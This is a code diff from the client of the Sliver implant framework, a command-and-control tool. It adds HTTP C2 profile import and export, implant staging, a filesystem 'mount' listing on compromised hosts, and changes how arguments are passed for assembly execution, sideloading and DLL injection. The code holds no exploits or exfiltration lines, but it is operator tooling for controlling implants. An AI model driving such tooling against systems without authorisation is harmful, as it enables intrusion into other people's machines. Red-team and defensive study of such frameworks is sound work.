MacOSVersion: profile.ImplantConfig.MacOSVersion,
|
||||
NonceQueryArgChars: profile.ImplantConfig.NonceQueryArgChars,
|
||||
MaxFiles: int(profile.ImplantConfig.MaxFiles),
|
||||
MinFiles: int(profile.ImplantConfig.MinFiles),
|
||||
MaxPaths: int(profile.ImplantConfig.MaxPaths),
|
||||
MinPaths: int(profile.ImplantConfig.MinFiles),
|
||||
StagerFileExt: profile.ImplantConfig.StagerFileExtension,
|
||||
PollFileExt: profile.ImplantConfig.PollFileExtension,
|
||||
StartSessionFileExt: profile.ImplantConfig.StartSessionFileExtension,
|
||||
SessionFileExt: profile.ImplantConfig.SessionFileExtension,
|
||||
CloseFileExt: profile.ImplantConfig.CloseFileExtension,
|
||||
}
|
||||
|
||||
var headers []assets.NameValueProbability
|
||||
for _, header := range profile.ImplantConfig.Headers {
|
||||
headers = append(headers, assets.NameValueProbability{
|
||||
Name: header.Name,
|
||||
Value: header.Value,
|
||||
Probability: int(header.Probability),
|
||||
})
|
||||
}
|
||||
implantConfig.Headers = headers
|
||||
|
||||
var urlParameters []assets.NameValueProbability
|
||||
for _, urlParameter := range profile.ImplantConfig.ExtraURLParameters {
|
||||
urlParameters = append(urlParameters, assets.NameValueProbability{
|
||||
Name: urlParameter.Name,
|
||||
Value: urlParameter.Value,
|
||||
Probability: int(urlParameter.Probability),
|
||||
})
|
||||
}
|
||||
implantConfig.URLParameters = urlParameters
|
||||
|
||||
var (
|
||||
stagerFiles []string
|
||||
pollFiles []string
|
||||
sessionFiles []string
|
||||
closeFiles []string
|
||||
stagerPaths []string
|
||||
pollPaths []string
|
||||
sessionPaths []string
|
||||
closePaths []string
|
||||
)
|
||||
|
||||
for _, pathSegment := range profile.ImplantConfig.PathSegments {
|
||||
if pathSegment.IsFile {
|
||||
switch pathSegment.SegmentType {
|
||||
case 0:
|
||||
pollFiles = append(pollFiles, pathSegment.Value)
|
||||
case 1:
|
||||
sessionFiles = append(sessionFiles, pathSegment.Value)
|
||||
case 2:
|
||||
closeFiles = append(closeFiles, pathSegment.Value)
|
||||
case 3:
|
||||
stagerFiles = append(stagerFiles, pathSegment.Value)
|
||||
}
|
||||
} else {
|
||||
switch pathSegment.SegmentType {
|
||||
case 0:
|
||||
pollPaths = append(pollPaths, pathSegment.Value)
|
||||
case 1:
|
||||
sessionPaths = append(sessionPaths, pathSegment.Value)
|
||||
case 2:
|
||||
closePaths = append(closePaths, pathSegment.Value)
|
||||
case 3:
|
||||
stagerPaths = append(stagerPaths, pathSegment.Value)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
implantConfig.PollFiles = pollFiles
|
||||
implantConfig.SessionFiles = sessionFiles
|
||||
implantConfig.CloseFiles = closeFiles
|
||||
implantConfig.StagerFiles = stagerFiles
|
||||
implantConfig.PollPaths = pollPaths
|
||||
implantConfig.SessionPaths = sessionPaths
|
||||
implantConfig.ClosePaths = closePaths
|
||||
implantConfig.StagerPaths = stagerPaths
|
||||
|
||||
var serverHeaders []assets.NameValueProbability
|
||||
for _, header := range profile.ServerConfig.Headers {
|
||||
serverHeaders = append(serverHeaders, assets.NameValueProbability{
|
||||
Name: header.Name,
|
||||
Value: header.Value,
|
||||
Probability: int(header.Probability),
|
||||
})
|
||||
}
|
||||
|
||||
var serverCookies []string
|
||||
for _, cookie := range profile.ServerConfig.Cookies {
|
||||
serverCookies = append(serverCookies, cookie.Name)
|
||||
}
|
||||
|
||||
serverConfig := assets.HTTPC2ServerConfig{
|
||||
RandomVersionHeaders: profile.ServerConfig.RandomVersionHeaders,
|
||||
Headers: serverHeaders,
|
||||
Cookies: serverCookies,
|
||||
}
|
||||
|
||||
config := assets.HTTPC2Config{
|
||||
ImplantConfig: implantConfig,
|
||||
ServerConfig: serverConfig,
|
||||
}
|
||||
|
||||
jsonConfig, err := json.Marshal(config)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return jsonConfig, nil
|
||||
}
|
||||
|
||||
// convert json to protobuf
|
||||
func C2ConfigToProtobuf(profileName string, config *assets.HTTPC2Config) *clientpb.HTTPC2Config {
|
||||
|
||||
|
||||
@@ -0,0 +1,67 @@
|
||||
package c2profiles
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/client/command/flags"
|
||||
"github.com/bishopfox/sliver/client/command/generate"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/rsteube/carapace"
|
||||
"github.com/spf13/cobra"
|
||||
"github.com/spf13/pflag"
|
||||
)
|
||||
|
||||
// Commands returns the “ command and its subcommands.
|
||||
func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
|
||||
importC2ProfileCmd := &cobra.Command{
|
||||
Use: consts.ImportC2ProfileStr,
|
||||
Short: "Import HTTP C2 profile",
|
||||
Long: help.GetHelpFor([]string{consts.ImportC2ProfileStr}),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
ImportC2ProfileCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
flags.Bind(consts.ImportC2ProfileStr, false, importC2ProfileCmd, func(f *pflag.FlagSet) {
|
||||
f.StringP("name", "n", consts.DefaultC2Profile, "HTTP C2 Profile name")
|
||||
f.StringP("file", "f", "", "Path to C2 configuration file to import")
|
||||
f.BoolP("overwrite", "o", false, "Overwrite profile if it exists")
|
||||
})
|
||||
|
||||
exportC2ProfileCmd := &cobra.Command{
|
||||
Use: consts.ExportC2ProfileStr,
|
||||
Short: "Export HTTP C2 profile",
|
||||
Long: help.GetHelpFor([]string{consts.ExportC2ProfileStr}),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
ExportC2ProfileCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
flags.Bind(consts.ExportC2ProfileStr, false, exportC2ProfileCmd, func(f *pflag.FlagSet) {
|
||||
f.StringP("file", "f", "", "Path to file to export C2 configuration to")
|
||||
f.StringP("name", "n", consts.DefaultC2Profile, "HTTP C2 Profile name")
|
||||
|
||||
})
|
||||
|
||||
C2ProfileCmd := &cobra.Command{
|
||||
Use: consts.C2ProfileStr,
|
||||
Short: "Display C2 profile details",
|
||||
Long: help.GetHelpFor([]string{consts.C2ProfileStr}),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
C2ProfileCmd(cmd, con, args)
|
||||
},
|
||||
GroupID: consts.NetworkHelpGroup,
|
||||
}
|
||||
flags.Bind(consts.C2ProfileStr, true, C2ProfileCmd, func(f *pflag.FlagSet) {
|
||||
f.StringP("name", "n", consts.DefaultC2Profile, "HTTP C2 Profile to display")
|
||||
})
|
||||
|
||||
flags.BindFlagCompletions(C2ProfileCmd, func(comp *carapace.ActionMap) {
|
||||
(*comp)["name"] = generate.HTTPC2Completer(con)
|
||||
})
|
||||
C2ProfileCmd.AddCommand(importC2ProfileCmd)
|
||||
C2ProfileCmd.AddCommand(exportC2ProfileCmd)
|
||||
|
||||
return []*cobra.Command{
|
||||
C2ProfileCmd,
|
||||
}
|
||||
}
|
||||
@@ -28,8 +28,6 @@ import (
|
||||
"github.com/spf13/pflag"
|
||||
)
|
||||
|
||||
const defaultTimeout = 60
|
||||
|
||||
// Bind is a convenience function to bind flags to a given command.
|
||||
// name - The name of the flag set (can be empty).
|
||||
// cmd - The command to which the flags should be bound.
|
||||
@@ -111,7 +109,7 @@ func makeBind(cmd *cobra.Command, con *client.SliverClient) func(group string, c
|
||||
//
|
||||
// @group - Name of the group under which the command should be shown. Preferably use a string in the constants package.
|
||||
// @ cmds - A list of functions returning a list of root commands to bind. See any package's `commands.go` file and function.
|
||||
type commandBinder func(group string, cmds ...func(con *client.SliverClient) []*cobra.Command)
|
||||
// type commandBinder func(group string, cmds ...func(con *client.SliverClient) []*cobra.Command)
|
||||
|
||||
// [ Core ]
|
||||
// [ Sessions ]
|
||||
|
||||
@@ -95,7 +95,7 @@ func ExecuteAssemblyCmd(cmd *cobra.Command, con *console.SliverClient, args []st
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
IsDLL: isDLL,
|
||||
Process: process,
|
||||
Arguments: assemblyArgsStr,
|
||||
Arguments: assemblyArgs,
|
||||
Assembly: assemblyBytes,
|
||||
Arch: arch,
|
||||
Method: method,
|
||||
|
||||
@@ -64,7 +64,7 @@ func ExecuteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Executing %s %s ...", cmdPath, strings.Join(args, " ")), ctrl)
|
||||
if token || hidden || ppid != 0 {
|
||||
if session.OS != "windows" {
|
||||
if (session != nil && session.OS != "windows") || (beacon != nil && beacon.OS != "windows") {
|
||||
con.PrintErrorf("The token, hide window, and ppid options are not valid on %s\n", session.OS)
|
||||
return
|
||||
}
|
||||
|
||||
@@ -39,8 +39,16 @@ func SideloadCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
return
|
||||
}
|
||||
|
||||
if len(args) < 1 {
|
||||
cmd.Usage()
|
||||
return
|
||||
}
|
||||
|
||||
binPath := args[0]
|
||||
binArgs := strings.Join(args[1:], " ")
|
||||
var binArgs []string
|
||||
if len(args) > 1 {
|
||||
binArgs = args[1:]
|
||||
}
|
||||
|
||||
entryPoint, _ := cmd.Flags().GetString("entry-point")
|
||||
processName, _ := cmd.Flags().GetString("process")
|
||||
@@ -57,7 +65,7 @@ func SideloadCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
processArgs := strings.Split(processArgsStr, " ")
|
||||
isDLL := (filepath.Ext(binPath) == ".dll")
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Sideloading %s ...", binPath), ctrl)
|
||||
con.SpinUntil(fmt.Sprintf("Sideloading %s %v...", binPath, binArgs), ctrl)
|
||||
sideload, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Args: binArgs,
|
||||
|
||||
@@ -22,7 +22,6 @@ import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
@@ -38,7 +37,10 @@ func SpawnDllCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
return
|
||||
}
|
||||
binPath := args[0]
|
||||
dllArgs := strings.Join(args[1:], " ")
|
||||
var dllArgs []string
|
||||
if len(args) > 1 {
|
||||
dllArgs = args[1:]
|
||||
}
|
||||
|
||||
processName, _ := cmd.Flags().GetString("process")
|
||||
exportName, _ := cmd.Flags().GetString("export")
|
||||
|
||||
@@ -40,11 +40,11 @@ func ExtensionsInstallCmd(cmd *cobra.Command, con *console.SliverClient, args []
|
||||
con.PrintErrorf("Extension path '%s' does not exist", extLocalPath)
|
||||
return
|
||||
}
|
||||
InstallFromDir(extLocalPath, con, strings.HasSuffix(extLocalPath, ".tar.gz"))
|
||||
InstallFromDir(extLocalPath, true, con, strings.HasSuffix(extLocalPath, ".tar.gz"))
|
||||
}
|
||||
|
||||
// Install an extension from a directory
|
||||
func InstallFromDir(extLocalPath string, con *console.SliverClient, isGz bool) {
|
||||
func InstallFromDir(extLocalPath string, promptToOverwrite bool, con *console.SliverClient, isGz bool) {
|
||||
var manifestData []byte
|
||||
var err error
|
||||
|
||||
@@ -67,12 +67,14 @@ func InstallFromDir(extLocalPath string, con *console.SliverClient, isGz bool) {
|
||||
//create repo path
|
||||
minstallPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifestF.Name))
|
||||
if _, err := os.Stat(minstallPath); !os.IsNotExist(err) {
|
||||
con.PrintInfof("Extension '%s' already exists", manifestF.Name)
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Overwrite current install?"}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
if promptToOverwrite {
|
||||
con.PrintInfof("Extension '%s' already exists", manifestF.Name)
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Overwrite current install?"}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
}
|
||||
forceRemoveAll(minstallPath)
|
||||
}
|
||||
@@ -94,7 +96,7 @@ func InstallFromDir(extLocalPath string, con *console.SliverClient, isGz bool) {
|
||||
for _, manifestFile := range manifest.Files {
|
||||
if manifestFile.Path != "" {
|
||||
if isGz {
|
||||
err = installArtifact(extLocalPath, installPath, manifestFile.Path, con)
|
||||
err = installArtifact(extLocalPath, installPath, manifestFile.Path)
|
||||
} else {
|
||||
src := filepath.Join(extLocalPath, util.ResolvePath(manifestFile.Path))
|
||||
dst := filepath.Join(installPath, util.ResolvePath(manifestFile.Path))
|
||||
@@ -106,7 +108,7 @@ func InstallFromDir(extLocalPath string, con *console.SliverClient, isGz bool) {
|
||||
}
|
||||
err = util.CopyFile(src, dst)
|
||||
if err != nil {
|
||||
err = fmt.Errorf("error copying file '%s' -> '%s': %s\n", src, dst, err)
|
||||
err = fmt.Errorf("error copying file '%s' -> '%s': %s", src, dst, err)
|
||||
}
|
||||
}
|
||||
if err != nil {
|
||||
@@ -119,7 +121,7 @@ func InstallFromDir(extLocalPath string, con *console.SliverClient, isGz bool) {
|
||||
}
|
||||
}
|
||||
|
||||
func installArtifact(extGzFilePath string, installPath string, artifactPath string, con *console.SliverClient) error {
|
||||
func installArtifact(extGzFilePath string, installPath string, artifactPath string) error {
|
||||
data, err := util.ReadFileFromTarGz(extGzFilePath, "."+filepath.ToSlash(artifactPath))
|
||||
if err != nil {
|
||||
return err
|
||||
|
||||
@@ -21,6 +21,8 @@ package extensions
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
@@ -84,7 +86,9 @@ type ExtensionManifest struct {
|
||||
|
||||
ExtCommand []*ExtCommand `json:"commands"`
|
||||
|
||||
RootPath string `json:"-"`
|
||||
RootPath string `json:"-"`
|
||||
ArmoryName string `json:"-"`
|
||||
ArmoryPK string `json:"-"`
|
||||
}
|
||||
|
||||
type ExtCommand struct {
|
||||
@@ -372,6 +376,17 @@ func loadExtension(goos string, goarch string, checkCache bool, ext *ExtCommand,
|
||||
depLoaded = true
|
||||
}
|
||||
}
|
||||
//check if the file suffixes are the same (should only be relevant to the same extension package), and don't load the file if it's already there
|
||||
extN := loadedExtensions[cmd.Name()]
|
||||
if extN != nil {
|
||||
//confirm we haven't already loaded the file
|
||||
for _, extf := range extN.Files {
|
||||
if strings.HasSuffix(binPath, extf.Path) {
|
||||
//file already exists, no need to load it
|
||||
return nil
|
||||
}
|
||||
}
|
||||
}
|
||||
if extN, ok := loadedExtensions[cmd.Name()]; ok && extN.CommandName == extName {
|
||||
return nil
|
||||
}
|
||||
@@ -398,8 +413,11 @@ func loadExtension(goos string, goarch string, checkCache bool, ext *ExtCommand,
|
||||
}
|
||||
|
||||
func registerExtension(goos string, ext *ExtCommand, binData []byte, cmd *cobra.Command, con *console.SliverClient) error {
|
||||
//set extension name to a hash of the data to avoid loading more than one instance
|
||||
bd := sha256.Sum256(binData)
|
||||
name := hex.EncodeToString(bd[:])
|
||||
registerResp, err := con.Rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
|
||||
Name: ext.CommandName,
|
||||
Name: name,
|
||||
Data: binData,
|
||||
OS: goos,
|
||||
//Init: ext.Init, ?
|
||||
@@ -487,16 +505,10 @@ func runExtensionCmd(cmd *cobra.Command, con *console.SliverClient, args []strin
|
||||
entryPoint = loadedExtensions[extName].Entrypoint // should exist at this point
|
||||
} else {
|
||||
// Regular DLL
|
||||
// extArgs := strings.Join(args, " ")
|
||||
//legacy case - single string arg
|
||||
if len(ext.Arguments) == 1 && ext.Arguments[0].Type == "string" {
|
||||
extensionArgs = []byte(strings.Join(args, " "))
|
||||
} else {
|
||||
extensionArgs, err = getExtArgs(cmd, args, binPath, ext)
|
||||
if err != nil {
|
||||
con.PrintErrorf("ext args error: %s\n", err)
|
||||
return
|
||||
}
|
||||
extensionArgs, err = getExtArgs(cmd, args, binPath, ext)
|
||||
if err != nil {
|
||||
con.PrintErrorf("ext args error: %s\n", err)
|
||||
return
|
||||
}
|
||||
extName = ext.CommandName
|
||||
entryPoint = ext.Entrypoint
|
||||
@@ -505,8 +517,14 @@ func runExtensionCmd(cmd *cobra.Command, con *console.SliverClient, args []strin
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s ...", cmd.Name())
|
||||
con.SpinUntil(msg, ctrl)
|
||||
extdata, err := os.ReadFile(binPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("ext read file error: %s\n", err)
|
||||
}
|
||||
bd := sha256.Sum256(extdata)
|
||||
name := hex.EncodeToString(bd[:])
|
||||
callExtResp, err := con.Rpc.CallExtension(context.Background(), &sliverpb.CallExtensionReq{
|
||||
Name: extName,
|
||||
Name: name,
|
||||
Export: entryPoint,
|
||||
Args: extensionArgs,
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
@@ -558,6 +576,12 @@ func getExtArgs(cmd *cobra.Command, args []string, binPath string, ext *ExtComma
|
||||
// Parse BOF arguments from grumble
|
||||
missingRequiredArgs := make([]string, 0)
|
||||
|
||||
// If we have an extension that expects a single string, but more than one has been parsed, combine them
|
||||
if len(ext.Arguments) == 1 && strings.Contains(ext.Arguments[0].Type, "string") {
|
||||
// The loop below will only read the first element of args because ext.Arguments is 1
|
||||
args[0] = strings.Join(args, " ")
|
||||
}
|
||||
|
||||
for _, arg := range ext.Arguments {
|
||||
// If we don't have any positional words left to consume,
|
||||
// add the remaining required extension arguments in the
|
||||
|
||||
@@ -188,6 +188,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
flags.Bind("", false, uploadCmd, func(f *pflag.FlagSet) {
|
||||
f.BoolP("ioc", "i", false, "track uploaded file as an ioc")
|
||||
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
||||
f.BoolP("overwrite", "o", false, "overwrite file if it exists")
|
||||
})
|
||||
carapace.Gen(uploadCmd).PositionalCompletion(
|
||||
carapace.ActionFiles().Usage("local path to the file to upload"),
|
||||
@@ -230,6 +231,19 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
|
||||
carapace.Gen(memfilesRmCmd).PositionalCompletion(carapace.ActionValues().Usage("memfile file descriptor"))
|
||||
|
||||
mountCmd := &cobra.Command{
|
||||
Use: consts.MountStr,
|
||||
Short: "Get information on mounted filesystems",
|
||||
Long: help.GetHelpFor([]string{consts.MountStr}),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
MountCmd(cmd, con, args)
|
||||
},
|
||||
GroupID: consts.FilesystemHelpGroup,
|
||||
}
|
||||
flags.Bind("", false, mountCmd, func(f *pflag.FlagSet) {
|
||||
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
||||
})
|
||||
|
||||
grepCmd := &cobra.Command{
|
||||
Use: consts.GrepStr,
|
||||
Short: "Search for strings that match a regex within a file or directory",
|
||||
@@ -324,6 +338,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
downloadCmd,
|
||||
uploadCmd,
|
||||
memfilesCmd,
|
||||
mountCmd,
|
||||
grepCmd,
|
||||
headCmd,
|
||||
tailCmd,
|
||||
|
||||
@@ -0,0 +1,165 @@
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2024 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
package filesystem
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"math"
|
||||
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
// Drive mappings for Windows
|
||||
var driveTypeMap = map[string]string{
|
||||
"0": "Unknown",
|
||||
"1": "Root Path invalid (no volume mounted for path)",
|
||||
"2": "Removable",
|
||||
"3": "Fixed disk",
|
||||
"4": "Remote / network drive",
|
||||
"5": "CD-ROM",
|
||||
"6": "RAM disk",
|
||||
}
|
||||
|
||||
// MountCmd - Print information about mounted filesystems
|
||||
func MountCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
mount, err := con.Rpc.Mount(context.Background(), &sliverpb.MountReq{
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
os := getOS(session, beacon)
|
||||
if mount.Response != nil && mount.Response.Async {
|
||||
con.AddBeaconCallback(mount.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, mount)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintMount(os, mount, con)
|
||||
})
|
||||
con.PrintAsyncResponse(mount.Response)
|
||||
} else {
|
||||
PrintMount(os, mount, con)
|
||||
}
|
||||
}
|
||||
|
||||
func getOS(session *clientpb.Session, beacon *clientpb.Beacon) string {
|
||||
if session != nil {
|
||||
return session.OS
|
||||
} else if beacon != nil {
|
||||
return beacon.OS
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func reduceSpaceMetric(numberOfBytes float64) string {
|
||||
units := []string{"B", "KB", "MB", "GB", "TB", "PB", "EB", "ZB", "YB"}
|
||||
|
||||
if numberOfBytes < 1 {
|
||||
return fmt.Sprintf("0 %s", units[0])
|
||||
}
|
||||
|
||||
base := 1024.0
|
||||
|
||||
exp := math.Floor(math.Log(numberOfBytes) / math.Log(base))
|
||||
index := int(math.Min(exp, float64(len(units)-1)))
|
||||
divisor := math.Pow(base, float64(index))
|
||||
|
||||
value := numberOfBytes / divisor
|
||||
|
||||
return fmt.Sprintf("%.2f %s", value, units[index])
|
||||
}
|
||||
|
||||
// PrintMount - Print a table containing information on mounted filesystems
|
||||
func PrintMount(os string, mount *sliverpb.Mount, con *console.SliverClient) {
|
||||
if mount.Response != nil && mount.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", mount.Response.Err)
|
||||
return
|
||||
}
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
|
||||
switch os {
|
||||
case "windows":
|
||||
tw.AppendHeader(table.Row{"Volume", "Volume Type", "Mount Point", "Label", "Filesystem", "Used Space", "Free Space", "Total Space"})
|
||||
case "darwin":
|
||||
fallthrough
|
||||
case "linux":
|
||||
fallthrough
|
||||
default:
|
||||
tw.AppendHeader(table.Row{"Source", "Mount Point", "Mount Root", "Filesystem Type", "Options", "Total Space"})
|
||||
}
|
||||
|
||||
for _, mountPoint := range mount.Info {
|
||||
row := mountRow(os, mountPoint)
|
||||
tw.AppendRow(row)
|
||||
}
|
||||
|
||||
settings.PaginateTable(tw, 0, false, false, con)
|
||||
}
|
||||
|
||||
func mountRow(os string, mountInfo *sliverpb.MountInfo) table.Row {
|
||||
var row table.Row
|
||||
|
||||
switch os {
|
||||
case "windows":
|
||||
// Translate VolumeType
|
||||
volType, ok := driveTypeMap[mountInfo.VolumeType]
|
||||
if !ok {
|
||||
volType = driveTypeMap["0"]
|
||||
}
|
||||
row = table.Row{mountInfo.VolumeName,
|
||||
volType,
|
||||
mountInfo.MountPoint,
|
||||
mountInfo.Label,
|
||||
mountInfo.FileSystem,
|
||||
reduceSpaceMetric(float64(mountInfo.UsedSpace)),
|
||||
reduceSpaceMetric(float64(mountInfo.FreeSpace)),
|
||||
reduceSpaceMetric(float64(mountInfo.TotalSpace)),
|
||||
}
|
||||
case "darwin":
|
||||
fallthrough
|
||||
case "linux":
|
||||
fallthrough
|
||||
default:
|
||||
row = table.Row{mountInfo.VolumeName,
|
||||
mountInfo.MountPoint,
|
||||
mountInfo.Label,
|
||||
mountInfo.VolumeType,
|
||||
mountInfo.MountOptions,
|
||||
reduceSpaceMetric(float64(mountInfo.TotalSpace)),
|
||||
}
|
||||
}
|
||||
return row
|
||||
}
|
||||
@@ -269,6 +269,16 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
carapace.Gen(implantsRmCmd).PositionalCompletion(ImplantBuildNameCompleter(con))
|
||||
implantBuildsCmd.AddCommand(implantsRmCmd)
|
||||
|
||||
implantsStageCmd := &cobra.Command{
|
||||
Use: consts.StageStr,
|
||||
Short: "Serve a previously generated build",
|
||||
Long: help.GetHelpFor([]string{consts.ImplantBuildsStr, consts.StageStr}),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
ImplantsStageCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
implantBuildsCmd.AddCommand(implantsStageCmd)
|
||||
|
||||
canariesCmd := &cobra.Command{
|
||||
Use: consts.CanariesStr,
|
||||
Short: "List previously generated canaries",
|
||||
@@ -321,6 +331,7 @@ func coreImplantFlags(name string, cmd *cobra.Command) {
|
||||
f.Int64P("reconnect", "j", DefaultReconnect, "attempt to reconnect every n second(s)")
|
||||
f.Int64P("poll-timeout", "P", DefaultPollTimeout, "long poll request timeout")
|
||||
f.Uint32P("max-errors", "k", DefaultMaxErrors, "max number of connection errors")
|
||||
f.StringP("c2profile", "C", consts.DefaultC2Profile, "HTTP C2 profile to use")
|
||||
|
||||
// Limits
|
||||
f.StringP("limit-datetime", "w", "", "limit execution to before datetime")
|
||||
|
||||
@@ -22,7 +22,7 @@ func GenerateBeaconCmd(cmd *cobra.Command, con *console.SliverClient, args []str
|
||||
return
|
||||
}
|
||||
config.IsBeacon = true
|
||||
err := parseBeaconFlags(cmd, con, config)
|
||||
err := parseBeaconFlags(cmd, config)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
@@ -38,7 +38,7 @@ func GenerateBeaconCmd(cmd *cobra.Command, con *console.SliverClient, args []str
|
||||
}
|
||||
}
|
||||
|
||||
func parseBeaconFlags(cmd *cobra.Command, con *console.SliverClient, config *clientpb.ImplantConfig) error {
|
||||
func parseBeaconFlags(cmd *cobra.Command, config *clientpb.ImplantConfig) error {
|
||||
days, _ := cmd.Flags().GetInt64("days")
|
||||
hours, _ := cmd.Flags().GetInt64("hours")
|
||||
minutes, _ := cmd.Flags().GetInt64("minutes")
|
||||
|
||||
@@ -1009,24 +1009,12 @@ func checkBuildTargetCompatibility(format clientpb.OutputFormat, targetOS string
|
||||
return true
|
||||
}
|
||||
|
||||
if runtime.GOOS != "windows" && targetOS == "windows" {
|
||||
if !hasCC(targetOS, targetArch, compilers.CrossCompilers) {
|
||||
return warnMissingCrossCompiler(format, targetOS, targetArch, con)
|
||||
}
|
||||
}
|
||||
|
||||
if runtime.GOOS != "darwin" && targetOS == "darwin" {
|
||||
if !hasCC(targetOS, targetArch, compilers.CrossCompilers) {
|
||||
return warnMissingCrossCompiler(format, targetOS, targetArch, con)
|
||||
}
|
||||
}
|
||||
|
||||
if runtime.GOOS != "linux" && targetOS == "linux" {
|
||||
if !hasCC(targetOS, targetArch, compilers.CrossCompilers) {
|
||||
return warnMissingCrossCompiler(format, targetOS, targetArch, con)
|
||||
}
|
||||
}
|
||||
|
||||
return true
|
||||
}
|
||||
|
||||
@@ -1042,12 +1030,8 @@ func hasCC(targetOS string, targetArch string, crossCompilers []*clientpb.CrossC
|
||||
func warnMissingCrossCompiler(format clientpb.OutputFormat, targetOS string, targetArch string, con *console.SliverClient) bool {
|
||||
con.PrintWarnf("Missing cross-compiler for %s on %s/%s\n", nameOfOutputFormat(format), targetOS, targetArch)
|
||||
switch targetOS {
|
||||
case "windows":
|
||||
con.PrintWarnf("The server cannot find an installation of mingw")
|
||||
case "darwin":
|
||||
con.PrintWarnf("The server cannot find an installation of osxcross")
|
||||
case "linux":
|
||||
con.PrintWarnf("The server cannot find an installation of musl-cross")
|
||||
}
|
||||
con.PrintWarnf("For more information please read %s\n", crossCompilerInfoURL)
|
||||
|
||||
@@ -1083,7 +1067,7 @@ func findExternalBuilders(config *clientpb.ImplantConfig, con *console.SliverCli
|
||||
return validBuilders, nil
|
||||
}
|
||||
|
||||
func selectExternalBuilder(builders []*clientpb.Builder, con *console.SliverClient) (*clientpb.Builder, error) {
|
||||
func selectExternalBuilder(builders []*clientpb.Builder, _ *console.SliverClient) (*clientpb.Builder, error) {
|
||||
choices := []string{}
|
||||
for _, builder := range builders {
|
||||
choices = append(choices, builder.Name)
|
||||
|
||||
@@ -1,5 +1,23 @@
|
||||
package generate
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
